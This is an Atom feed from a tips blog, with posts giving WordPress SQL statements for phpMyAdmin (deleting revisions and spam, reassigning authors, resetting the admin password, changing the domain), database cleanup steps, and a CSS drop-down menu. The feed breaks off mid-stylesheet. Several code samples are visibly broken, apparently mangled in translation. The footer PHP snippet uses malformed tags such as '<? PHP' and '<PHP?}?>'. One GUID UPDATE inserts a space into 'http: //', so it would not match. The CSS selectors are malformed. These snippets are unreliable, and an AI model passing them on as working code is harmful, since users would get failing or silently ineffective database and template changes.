<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-4277709300573377224</id><updated>2024-11-06T08:16:11.165+05:30</updated><category term="Windows Tips"/><category term="Mobile Tips"/><category term="Html Tips"/><category term="Linux Tips"/><category term="PHP Tips"/><category term="Joomla Tips"/><category term="Photoshop Tips"/><title type='text'>Tips and Tricks</title><subtitle type='html'>Windows Tips,Linux Tips,Mobile Tips,Html Tips,Photoshop Tips,PHP Tips,Joomla Tips</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://comhttp.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4277709300573377224/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://comhttp.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/4277709300573377224/posts/default?start-index=26&amp;max-results=25&amp;redirect=false'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/02988342655735690864</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>96</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-4277709300573377224.post-8736295868928087045</id><published>2014-08-06T14:51:00.000+05:30</published><updated>2014-08-06T14:51:17.596+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="PHP Tips"/><title type='text'>8 Useful WordPress SQL statement 2014</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtmtG3OHNHjHzyAZVxrupK2Dgx9foFuo2i_5mJETEjc1hheGaeKB7HK7DIadx91qAUuiE3K_y8zbUsrlCBmbXSvkuAggK28gBN4VjYzDOGrolIfgnQuFVeIhhCQh2Wpa9VxDir6ZFKPW2U/s1600/wordpress-sql.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtmtG3OHNHjHzyAZVxrupK2Dgx9foFuo2i_5mJETEjc1hheGaeKB7HK7DIadx91qAUuiE3K_y8zbUsrlCBmbXSvkuAggK28gBN4VjYzDOGrolIfgnQuFVeIhhCQh2Wpa9VxDir6ZFKPW2U/s1600/wordpress-sql.jpg&quot; height=&quot;147&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
In the past decade, MySQL database has become popular, and WordPress blog using a MySQL database, although the use of plug-ins can solve some problems, but to achieve some special tasks, execute SQL statements in phpMyAdmin is the most concise way, here is a useful summary of eight WordPress system SQL statements used to solve some practical problems encountered.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;1. create a backup of the database&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;　　Backup of the database is the first thing to do, just by following a simple method you can back up the database:&lt;br /&gt;&lt;br /&gt;　　After login phpMyAdmin. Choose your WordPress database, and then click on the &quot;Export&quot; button, select a compression method (you can use gzip) and click the &quot;Go&quot; button, when the browser when prompted to download, click &quot;Yes&quot;, download the file to the database locally.&lt;br /&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;2. bulk delete articles Amendment&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;　　WordPress2.6 later version adds a Post revisions feature, though some use, but the article is amended to increase the size of your database, we can choose to bulk delete.&lt;br /&gt;&lt;br /&gt;　　After logging in phpMyAdmin execute the following SQL statement to bulk delete.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #3d85c6;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;DELETE FROM wp_posts WHERE post_type = &quot;revision&quot;; &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;
&lt;b&gt;3. batch delete spam comments&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;　　A true story is that one of my friends set up a blog on the Internet, there are times he spent a few days on vacation, no Internet, and when he came back, log in to your blog, saw more than 5000 comments Wait audit, of course, most of them are spam comments to manually delete these comments to spend a lot of time, so we can use the following approach.&lt;br /&gt;&lt;br /&gt;　　Execute the following SQL statement after login phpMyAdmin.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #3d85c6;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;DELETE from wp_comments WHERE comment_approved = &#39;0&#39;;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;　　Be careful, though this solution is useful for processing millions of ordinary garbage, but will remove comments without approval, so it is best to install or use Akismet to fight comment spam.&lt;br /&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;4. modify article properties&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;　　After you install WordPress, admin account is created, a lot of people are wrong to use this account to write a blog, until they realize that this is not a personal account.&lt;br /&gt;&lt;br /&gt;　　The solution, each article to modify the properties need a lot of time, the following SQL statement can help you quickly complete this function.&lt;br /&gt;&lt;br /&gt;　　First you have to find your correct user name, use the following SQL statements can be found in your user ID number.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #3d85c6;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;SELECT ID, display_name FROM wp_users;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;　　Assuming that this ID is NEW_AUTHOR_ID, and administrator admin ID for&lt;br /&gt;
OLD_AUTHOR_ID, then run the following SQL statement.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #3d85c6;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;UPDATE wp_posts SET post_author = NEW_AUTHOR_ID WHERE post_author = OLD_AUTHOR_ID;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;5.Manual Reset Password&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;　　A lot of people in order to protect their own blog not being hacked, using a very complex password, although this is a good thing, but often forgotten administrator password things will happen.&lt;br /&gt;&lt;br /&gt;　　Of course, you can send to your WordPress link to reset your password via e-mail, but if you can not access your e-mail address, then had to use the following SQL statement to reset your password.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #3d85c6;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;UPDATE wp_users SET user_pass = MD5 (&#39;PASSWORD&#39;) WHERE wp_users.user_login = &#39;admin&#39; LIMIT 1;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;　　MD5 hash function is a built-in MySQL for converting password hashes.&lt;br /&gt;&lt;br /&gt;
&lt;b&gt;6.change WordPress domain&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;　　Sometimes you may want to change your blog&#39;s domain name, but WordPress will put your name stored in the database, so you have to use the following SQL statement to modify.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #3d85c6;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;UPDATE wp_options SET option_value = replace (option_value, &#39;http://www.oldsite.com&#39;, &#39;http://www.newsite.com&#39;) WHERE option_name = &#39;home&#39; OR option_name = &#39;siteurl&#39;;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;　　Then, you have to use the following SQL GUID of the article will also be modified.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #3d85c6;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;UPDATE wp_posts SET guid = replace (guid, &#39;http: //www.oldsite.com&#39;,&#39;http: //www.newsite.com&#39;);&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;　　Finally, use the following statement will replace the article all the old domain to the new domain name.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #3d85c6;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;UPDATE wp_posts SET post_content = replace (post_content, &#39;http://www.oldsite.com&#39;, &#39;http://www.newsite.com&#39;);&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;&lt;b&gt;7. showing the number of SQL queries&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;　　You have something to blog in performance when the number of queries the database learned is very important, in order to reduce database query, we need to know on one page in the end how many queries.&lt;br /&gt;&lt;br /&gt;　　This time, do not need to log in phpMyAdmin, you only need to modify the footer.php file, at the end of the file add the following lines of code.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #3d85c6;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;&amp;lt;? PHP if (is_user_logged_in ()) {?&amp;gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;? PHP echo get_num_queries ();?&amp;gt; queries in &amp;lt;PHP timer_stop (1);??&amp;gt; seconds.&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;lt;PHP?}?&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;&lt;b&gt;8.restore your WordPress database&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;　　When your database for some reason (hacking or upgrade error) is damaged or lost, if you have a backup, then you can restore your WordPress database.&lt;br /&gt;&lt;br /&gt;　　Sign in phpMyAdmin, select your WordPress database, click &quot;Import&quot; button, click &quot;Browse&quot; button, then &quot;Run&quot; button to import the database from your hard drive to select the backup file, point.&lt;br /&gt;&lt;br /&gt;　　If all goes well, your WordPress functions will return to normal.&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://comhttp.blogspot.com/feeds/8736295868928087045/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://comhttp.blogspot.com/2014/08/8-useful-wordpress-sql-statement-2014.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4277709300573377224/posts/default/8736295868928087045'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4277709300573377224/posts/default/8736295868928087045'/><link rel='alternate' type='text/html' href='http://comhttp.blogspot.com/2014/08/8-useful-wordpress-sql-statement-2014.html' title='8 Useful WordPress SQL statement 2014'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/02988342655735690864</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtmtG3OHNHjHzyAZVxrupK2Dgx9foFuo2i_5mJETEjc1hheGaeKB7HK7DIadx91qAUuiE3K_y8zbUsrlCBmbXSvkuAggK28gBN4VjYzDOGrolIfgnQuFVeIhhCQh2Wpa9VxDir6ZFKPW2U/s72-c/wordpress-sql.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4277709300573377224.post-428181860703588718</id><published>2014-08-06T13:59:00.002+05:30</published><updated>2014-08-06T13:59:39.898+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="PHP Tips"/><title type='text'>Wordpress Database Optimization Tips 2014 August</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-xhQEX5LIMffKNosKhvAwpjtYUOwK4m9AR0JbGPDy4qZMy6V_no29QSR4PXQdIOBtWU2WeisNgD3pXeYE8NncN7uoFynszzgaYqLjDYN151uQAr1OMGPN8bya3q466XiLQY1RDafbpHx2/s1600/wplogoblue-stacked-rgb.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;Wordpress database optimization tips 2014 august&quot; border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-xhQEX5LIMffKNosKhvAwpjtYUOwK4m9AR0JbGPDy4qZMy6V_no29QSR4PXQdIOBtWU2WeisNgD3pXeYE8NncN7uoFynszzgaYqLjDYN151uQAr1OMGPN8bya3q466XiLQY1RDafbpHx2/s1600/wplogoblue-stacked-rgb.png&quot; height=&quot;228&quot; title=&quot;Wordpress database optimization tips 2014 august&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
WordPress system uses a long time, the database will be a lot of redundant data regularly Wordpress database optimization and cleanup, Wordpress can guarantee fast work.&lt;br /&gt;&lt;br /&gt;　　First, disable some useless plugins, WordPress system table data tables outside are removed, leaving only wp_posts, wp_comments, wp_terms, wp_term_relationships, wp_term_taxonomy and other system data tables.&lt;br /&gt;&lt;br /&gt;　　Secondly, open phpMyadmin, redundant data via SQL statement delete operation. Remember to backup before deleting it.&lt;br /&gt;&lt;br /&gt;　　Delete the script is:&lt;br /&gt;&lt;br /&gt;　　DELETE FROM wp_posts WHERE post_type = &#39;revision&#39;;&lt;br /&gt;&lt;br /&gt;　　DELETE FROM wp_postmeta WHERE meta_key = &#39;_edit_lock&#39;;&lt;br /&gt;&lt;br /&gt;　　DELETE FROM wp_postmeta WHERE meta_key = &#39;_edit_last&#39;;&lt;br /&gt;&lt;br /&gt;　　Finally, in phpMyAdmin, select all tables, click &quot;optimize table.&quot;&lt;br /&gt;&lt;br /&gt;　　After this some optimize operations, it can be WordPress database delete redundant data to optimize the performance of the database.&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://comhttp.blogspot.com/feeds/428181860703588718/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://comhttp.blogspot.com/2014/08/wordpress-database-optimization-tips.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4277709300573377224/posts/default/428181860703588718'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4277709300573377224/posts/default/428181860703588718'/><link rel='alternate' type='text/html' href='http://comhttp.blogspot.com/2014/08/wordpress-database-optimization-tips.html' title='Wordpress Database Optimization Tips 2014 August'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/02988342655735690864</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-xhQEX5LIMffKNosKhvAwpjtYUOwK4m9AR0JbGPDy4qZMy6V_no29QSR4PXQdIOBtWU2WeisNgD3pXeYE8NncN7uoFynszzgaYqLjDYN151uQAr1OMGPN8bya3q466XiLQY1RDafbpHx2/s72-c/wplogoblue-stacked-rgb.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4277709300573377224.post-4231906733126889981</id><published>2014-06-07T11:18:00.000+05:30</published><updated>2014-06-07T11:18:50.770+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Html Tips"/><title type='text'>Drop Down Menu With Pure CSS</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://upload.wikimedia.org/wikipedia/commons/d/d9/Css-miami-desktop_(110995239).jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://upload.wikimedia.org/wikipedia/commons/d/d9/Css-miami-desktop_(110995239).jpg&quot; height=&quot;240&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;u&gt;&lt;b&gt;Direct code:&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;u&gt;&lt;b&gt;HTML &lt;/b&gt;&lt;/u&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;pre class=&quot;default prettyprint prettyprinted&quot;&gt;&lt;code&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;div&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; &lt;/span&gt;&lt;span class=&quot;atn&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;atv&quot;&gt;&quot;navtre&quot;&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;ul&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; &lt;/span&gt;&lt;span class=&quot;atn&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;atv&quot;&gt;&quot;levl-one&quot;&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;li&amp;gt;&amp;lt;a&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; &lt;/span&gt;&lt;span class=&quot;atn&quot;&gt;href&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;atv&quot;&gt;&quot;/about/&quot;&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; &lt;/span&gt;&lt;span class=&quot;atn&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;atv&quot;&gt;&quot;about&quot;&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;about&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;li&amp;gt;&amp;lt;a&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; &lt;/span&gt;&lt;span class=&quot;atn&quot;&gt;href&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;atv&quot;&gt;&quot;/contact/&quot;&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; &lt;/span&gt;&lt;span class=&quot;atn&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;atv&quot;&gt;&quot;contact&quot;&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;contact&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;li&amp;gt;&amp;lt;a&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; &lt;/span&gt;&lt;span class=&quot;atn&quot;&gt;href&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;atv&quot;&gt;&quot;/feeds/latest/&quot;&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; &lt;/span&gt;&lt;span class=&quot;atn&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;atv&quot;&gt;&quot;subscribe&quot;&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;subscribe&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;li&amp;gt;&amp;lt;a&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; &lt;/span&gt;&lt;span class=&quot;atn&quot;&gt;href&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;atv&quot;&gt;&quot;/Test1/&quot;&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; &lt;/span&gt;&lt;span class=&quot;atn&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;atv&quot;&gt;&quot;Test1page&quot;&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;Test1&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;/a&amp;gt;&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;ul&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; &lt;/span&gt;&lt;span class=&quot;atn&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;atv&quot;&gt;&quot;level-two&quot;&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;li&amp;gt;&amp;lt;a&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; &lt;/span&gt;&lt;span class=&quot;atn&quot;&gt;href&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;atv&quot;&gt;&quot;/Test1/testsub/&quot;&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; &lt;/span&gt;&lt;span class=&quot;atn&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;atv&quot;&gt;&quot;test1subpage&quot;&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;Test1sub&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;/ul&amp;gt;&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;/li&amp;gt;&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;li&amp;gt;&amp;lt;a&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; &lt;/span&gt;&lt;span class=&quot;atn&quot;&gt;href&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;atv&quot;&gt;&quot;/Test2/&quot;&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; &lt;/span&gt;&lt;span class=&quot;atn&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;atv&quot;&gt;&quot;Test2 page&quot;&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;Test2&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;/a&amp;gt;&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;ul&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; &lt;/span&gt;&lt;span class=&quot;atn&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;atv&quot;&gt;&quot;levl-two&quot;&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;li&amp;gt;&amp;lt;a&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; &lt;/span&gt;&lt;span class=&quot;atn&quot;&gt;href&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;atv&quot;&gt;&quot;/Test2/subpage2/&quot;&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; &lt;/span&gt;&lt;span class=&quot;atn&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;atv&quot;&gt;&quot;Testsubpage2&quot;&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;Testsubpage2&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;/ul&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;/ul&amp;gt;&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;u&gt;&lt;b&gt;CSS&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;pre class=&quot;default prettyprint prettyprinted&quot;&gt;&lt;code&gt;&lt;span class=&quot;pun&quot;&gt;&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;levl&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;one &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;display&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kwd&quot;&gt;inline&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; position&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; relative&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;levl&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;one &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;display&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; none&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; position&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; absolute&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; left&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; &lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; top&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; &lt;/span&gt;&lt;span class=&quot;lit&quot;&gt;1em&lt;/span&gt;&lt;span 